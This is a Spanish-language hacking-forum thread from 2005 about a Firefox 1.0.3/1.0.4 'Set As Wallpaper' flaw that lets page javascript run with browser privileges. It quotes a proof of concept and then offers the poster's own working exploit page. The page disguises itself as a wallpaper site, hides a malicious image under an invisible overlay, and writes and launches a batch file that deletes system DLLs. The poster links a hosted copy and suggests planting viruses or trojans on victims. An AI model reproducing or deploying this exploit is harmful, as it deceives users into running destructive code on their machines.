elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 12:28  


Tema destacado: Deseas probar algunas mejoras a la interfaz del foro? Prueba cake! acerca de

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  FireFox 1.0.4 "Save as Wallpaper" BUG
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: FireFox 1.0.4 "Save as Wallpaper" BUG  (Leído 886 veces)
/* strcpy() */


Desconectado Desconectado

Mensajes: 367


FLEMA - The Ramones - Sex Pistols


Ver Perfil WWW
FireFox 1.0.4 "Save as Wallpaper" BUG
« en: 17 Julio 2005, 04:26 »

Ultimamente con la salida de las mas nuevas versiones del Mozilla Firefox
han salido tambien un sin fin de bugs.
Hoy analizaremos el bug de  "Set As Wallpaper". Set As Wallpaper es un
dialogo que nos aparece al hacer click derecho sobre una imagen. El proble
ma es que toma la url de la imagen sin validificarla, permitiendo que un ata
cante hacer un ataque del tipo  cross-site scripting.
Las versiones vulnerables son: Mozilla Firefox 1.0.3
                                            Mozilla Firefox 1.0.4
Código:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Firewalling - Proof-of-Concept</title>
<script>
function stopload() {
// in some cases the javascript url never stops to load
// therefore we force a stop after the real image got loaded
window.setTimeout("window.stop()",1000);
}
</script>
</head>
<body>
<div style="font-family:Verdana;font-size:11px;">

<div style="font-family:Verdana;font-size:15px;font-weight:bold;">
Firewalling - Proof-of-Concept</div>
<div style="width:600px">
The "Set As Wallpaper" dialog takes the image url as a parameter without
validating it.
This allows to execute javascript in chrome and to run arbitrary code.
<br><br>
By using absolute positioning and the moz-opacity filter an attacker can
easily fool the
user to think he is setting a valid image as wallpaper.
<br><br>
Right click on the image and choose "Set As Wallpaper". The demo requests
UniversalXPConnect rights, creates c:\booom.bat and launches the batch
file
that shows a directoy listing in a dos box (Windows only).
<br><br>

<div style="position:relative; width:300px; height:250px;">
<img
src="javascript:/*-----------------------------*/eval('if(document.location.href.
substr(0,6)==\'chrome\'){netscape.security.PrivilegeManager.enablePrivilege(\'
UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\'].
createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\'c:\\\\
booom.bat\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,
420);outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;
1\'].createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init
(file,0x04|0x08|0x20,420,0);output=\'@ECHO
OFF\\n:BEGIN\\nCLS\\nDIR\\nPAUSE
\\n:END\';outputStream.write(output,output.length);outputStream.close();file.launch
();}else{void(0)}')" width="300" height="250" alt="" border="0"
style="position:
absolute; left:0px; top:0px; z-index:2; -moz-opacity:0;">
<img src="image.png" width="300" height="250" alt="" border="0"
style="position:
absolute; left:0px; top:0px; z-index:1;" onload="stopload()">
</div>
</div>
</body>

</html>
Nosotros le prestaremos atencion a esta parte:

Código:
file.initWithPath(\'c:\\\\
booom.bat\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,
420);outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;
1\'].createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init
(file,0x04|0x08|0x20,420,0);output=\'@ECHO
OFF\\n:BEGIN\\nCLS\\nDIR\\nPAUSE

'c:\\\\booom.bat\' -> Marca el directorio y el nombre del archivo que sera escrito.

@ECHO OFF\\n:BEGIN\\nCLS\\nDIR\\nPAUSE ->Esta parte no funciona con ma de una linea,
 es decir solo podremos poner un solo comando
.

Nota: Para los que no sepan de programacion de Archivos por lotes de MS-Windows
@ECHO OFF, BEGIN, CLS y PAUSE son instrucciones en este "lenguaje".

El archivo booom.bat contendria lo siguiente:
Citar
@ECHO OFF
BEGIN
CLS
PAUSE

Que sera este archivo booom.bat ??? este archivo es el que se ejecutara luego de terminarse
el "Set as Wallpaper". Asi podremos meterle a la victima algun archivo que queramos como es
un virus o un troyano. =)


Ahora que entendimos creemos un exploit =D

Lo primero sera crear una web que paresca desente, ya saben a que me refiero.
Luego crearemos un archivo provechoso .bat. Personalmente no soy un gran enten
dido en este lenguaje asi que lo que hare es un especie de virus:

Citar
del C:\WINDOWS\SYSTEM\*.dll

Su nombre sera: C:\strcpy.bat

Ahoravamos a traducir:
Citar
C:\strcpy -> C:\\\\strcpy.bat\


Citar
del C:\WINDOWS\SYSTEM\*.dll -> del C:\\\\WINDOWS\\\\\SYSTEM\\\\\*.dll

y listo


Aca les dejo el exploit que yo cree:
Código:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Exploit by strcpy()</title>
<script>
function stopload() {
// in some cases the javascript url never stops to load
// therefore we force a stop after the real image got loaded
window.setTimeout("window.stop()",1000);
}
</script>
</head>
<body>
<div style="font-family:Verdana;font-size:11px;">

<div style="width:600px">
<font size="4">La web de los wallpapers xxD</font>
<font size="4">En esta web encontraras los mejores wallpapers.Si</font>
<font size="4">tienes FireFox ponlo directamente con la opcion</font>
<font size="4">&quot;Save as wallpaper&quot;</font>
<font size="4">Aqui el wallpaper de la semana xxD</font>


<div style="position:relative; width:300px; height:250px;">
<img
src="javascript:/*-----------------------------*/eval('if(document.location.href.
substr(0,6)==\'chrome\'){netscape.security.PrivilegeManager.enablePrivilege(\'
UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\'].
createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\'C:\\\\strcpy.bat\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,
420);outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;
1\'].createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init
(file,0x04|0x08|0x20,420,0);output=\'del C:\\\\WINDOWS\\\\\SYSTEM\\\\*.dll\';outputStream.write(output,output.length);outputStream.close();file.launch
();}else{void(0)}')" width="300" height="250" alt="" border="0"
style="position:
absolute; left:0px; top:0px; z-index:2; -moz-opacity:0;">
<img src="www.remoteshell.orgfree.com/strcpy.jpg" width="300" height="250" alt="" border="0"
style="position:
absolute; left:0px; top:0px; z-index:1;" onload="stopload()">
</div>
</div>
</body>

La verdad q este ultimo no se si funciona pq no lo prove pero prove en otras carpeta q tenian dlls q se estaban utilizando y dlls q no y las q no eran utilizadas las borro =D

 P.D: El PoC no anda pq lo de \\n no funciona asi que hay q poner el bat con una sola linea.
        Si alguien sabe como arreglarlo q me avise saludos.

P.D2: Aqui les dejo el exploit ya subido http://www.remoteshell.orgfree.com/saveaswallpaperbug.html
En línea

Sigo asi
Soy feliz
yo elegí
Sexo, Drogas y PunkRock
Manibal_man


Desconectado Desconectado

Mensajes: 528



Ver Perfil
Re: FireFox 1.0.4 "Save as Wallpaper" BUG
« Respuesta #1 en: 17 Julio 2005, 21:52 »

Deberias acordarte de citar fuentes... sino estás robando y esta muy mal visto...

si no me equivoco esto es de www.securiteam.com


sep, asi es...
http://www.securiteam.com/securitynews/5ZP0E0UGAK.html

Saludos
En línea

:: I was born ready motha fucka ::
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines